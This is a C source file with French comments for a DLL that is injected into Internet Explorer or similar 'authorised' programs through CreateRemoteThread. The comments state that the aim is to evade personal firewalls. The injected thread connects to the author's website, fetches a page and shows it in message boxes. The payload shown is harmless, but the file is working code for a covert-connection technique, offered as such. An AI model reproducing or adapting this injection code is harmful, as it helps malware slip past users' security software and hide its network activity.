//==============================================================================
// Quelques arrangement de code : BeLZeL (07 juillet 2004)
// Injecté dans Internet Explorer, cette DLL va afficher un MessageBox contenant
// le code source d'une page HTML (ici, mon site, mais c'est modifiable).
//------------------------------------------------------------------------------
// Pourquoi faire :
// On va créer un programme qui se connecte à internet par le biais d'un programme "autorisé".
// En effet, à cause des firewalls, il est impossible d'être discret en voulant
// se connecter à partir de notre programme principal.
// Grâce à un bout de code dans une DLL, notre programme principal va injecter
// ce code dans un programme "autorisé" (internet explorer, emule, kazaa, aol).
// Ce programme "autorisé" va ensuite l'exécuter, sans se poser de question.
//==============================================================================

//==============================================================================
// Commentaires de l'auteur
//------------------------------------------------------------------------------
// INJECTION CREATEREMOTETHREAD USING A DLL
// This DLL has been designed to be injected into another process and connect to a web site.
// Used in conjonction with kInject, this method defeats personal firewalls
// Kdm (kodmaker@netcourrier.com) 08/2002
//==============================================================================


    #include <windows.h>
    #define SERVER_PORT 80
    // #define MAKEWORD(a, b)  ((WORD) (((BYTE) (a)) | ((WORD) ((BYTE) (b))) << 8)) // windef.h


//==============================================================================
// DWORD WINAPI ThreadProc ( void* thParam )
//------------------------------------------------------------------------------
// Description
// Se connecte à un site internet, récupère une page index (avec le protocol
// HTTP 1.1) et montre son source HTML dans un MessageBox.
//------------------------------------------------------------------------------
// Variables
// thParam (LPVOID) : (non utilisé)
//------------------------------------------------------------------------------
// Notes sur le protocol HTTP 1.1 (http://www.commentcamarche.net/internet/http.php3)
//
// GET:    Le server reponds avec le Header et le fichier complet. --> nous utiliserons GET
// HEAD:   Le server reponds avec le Header seul.
// POST:   Le server va enregistrer les dates dans le fichier dˇcrit par l' URL.
// PUT:    Le server va enregistrer les dates dans un nouveau fichier.
// DELETE: Le server va effacer le fichier dˇcrit par l'URL.
// LINK:   Le server va enregistrer un link.
// UNLINK: Le server va effacer le link.
//
// Un aperçu d'un header reçu avec le protocol HTTP 1.1
//      HTTP/1.1 200 OK
//      Date: Thu, 08 Jul 2004 00:17:54 GMT
//      Server: Apache1.3.29 - ProXad [Jun  9 2004 15:20:12]
//      Last-Modified: Fri, 25 Jun 2004 11:51:42 GMT
//      ETag: "1978ce-34f3-40dc11ce"
//      Accept-Ranges: bytes
//      Connection: close
//      Content-Type: text/html
//==============================================================================


DWORD WINAPI ThreadProc ( LPVOID thParam )
{
    WORD wVersion =  MAKEWORD ( 2, 0 );     // Version 2.0 de Winsock
    WSADATA WSAData;                        // utilisé pour initialisé Winsock
    int err;
    char recbuf[1024];                      // stockage du résultat
    int sd, rc;                             // descripteurs socket
    struct sockaddr_in servAddr;            // utilisé avec connect()
    struct hostent *h;                      // utilisé pour résoudre hostname => ip
    // Requete (protocole HTTP) : demande de http://belzel.free.fr/index.html
    char *host = "belzel.free.fr";          // serveur cible
    char sendbuf[]="GET /index.html HTTP/1.1\nHost: belzel.free.fr:80\n\n";

    err = WSAStartup ( wVersion, &WSAData );
    h = gethostbyname ( host );
    if ( h==NULL ) { MessageBox ( NULL, "Serveur Inconnu", "ERROR", MB_OK); return 0; }

    // Initialisation du type d'adresse, de l'ip et du port
    servAddr.sin_family = h->h_addrtype;
    memcpy ( (char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length );
    servAddr.sin_port = htons ( SERVER_PORT );

    // Création du socket
    sd = socket ( AF_INET, SOCK_STREAM, 0 );
    if ( sd<0 ) { MessageBox ( NULL, "cannot open socket", "", MB_OK); return 0; }

    // Connexion du socket à un serveur distant
    rc = connect ( sd, (struct sockaddr *) &servAddr, sizeof(servAddr) );
    if ( rc<0 ) { MessageBox ( NULL, "cannot connect", "", MB_OK); return 0; }
    
    // Envoie des données
    rc = send ( sd, sendbuf, strlen(sendbuf), 0 );
    if ( rc<0 ) { MessageBox ( NULL, "cannot send data", "", MB_OK); return 0; }
    
    // Réception des données (la réponse) puis affichage msgbox
    recv ( sd, recbuf, sizeof(recbuf), 0 );
    MessageBox ( NULL, recbuf, "RECU", MB_OK );
    
    return 0;
}

//==============================================================================
// BOOL APIENTRY DllMain( HINSTANCE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
//------------------------------------------------------------------------------
// Description
// Fonction principale de la DLL. Exécute une fonction annexe (ThreadProc) dans
// un nouveau thread.
//==============================================================================


BOOL APIENTRY DllMain( HINSTANCE hModule, DWORD raison, LPVOID lpReserved)
{
    char ModPath[256];
    HANDLE hThr;
    
    // On ne traite pas les raisons autres que l'initialisation de la DLL
    if ( raison!=DLL_PROCESS_ATTACH ) return TRUE;
    
    // On récupère le chemin complet du programme à lancer (presque inutile)
    GetModuleFileName ( NULL, ModPath, sizeof(ModPath) );
    MessageBox ( NULL, ModPath, "DLL INJECTED INTO :", MB_OK );
    
    // Exécution du code (en réalité, le code s'exécute dans le programme "ModPath")
    hThr = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE ) ThreadProc, NULL, 0, NULL);
    if ( hThr==NULL ) MessageBox(NULL, "CreateThread failed.", "IAT DLL", MB_OK);
    else CloseHandle ( hThr );
    return TRUE;
}


//==============================================================================
// FONCTIONS UTILISES, FOURNIES AVEC WIN32
//==============================================================================
// int WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData);
// Initialise les sockets
//------------------------------------------------------------------------------
// struct hostent FAR * gethostbyname ( const char FAR * name );
// Retourne les informations correspondant au nom du serveur.
//------------------------------------------------------------------------------
// u_short htons ( u_short hostshort );
// Convertit un u_short dans un ordre d'octets compréhensible pour TCP/IP.
//------------------------------------------------------------------------------
// SOCKET socket ( int af, int type, int protocol );
// Création d'un socket lié à un fournisseur de service spécifique.
//------------------------------------------------------------------------------
// struct hostent {
//     char FAR *       h_name;
//     char FAR * FAR * h_aliases;
//     short            h_addrtype;
//     short            h_length;
//     char FAR * FAR * h_addr_list;
// };
// struct sockaddr_in {
//         short   sin_family;
//         u_short sin_port;
//         struct  in_addr sin_addr;
//         char    sin_zero[8];
// };
//==============================================================================

//==============================================================================
// EOF
//==============================================================================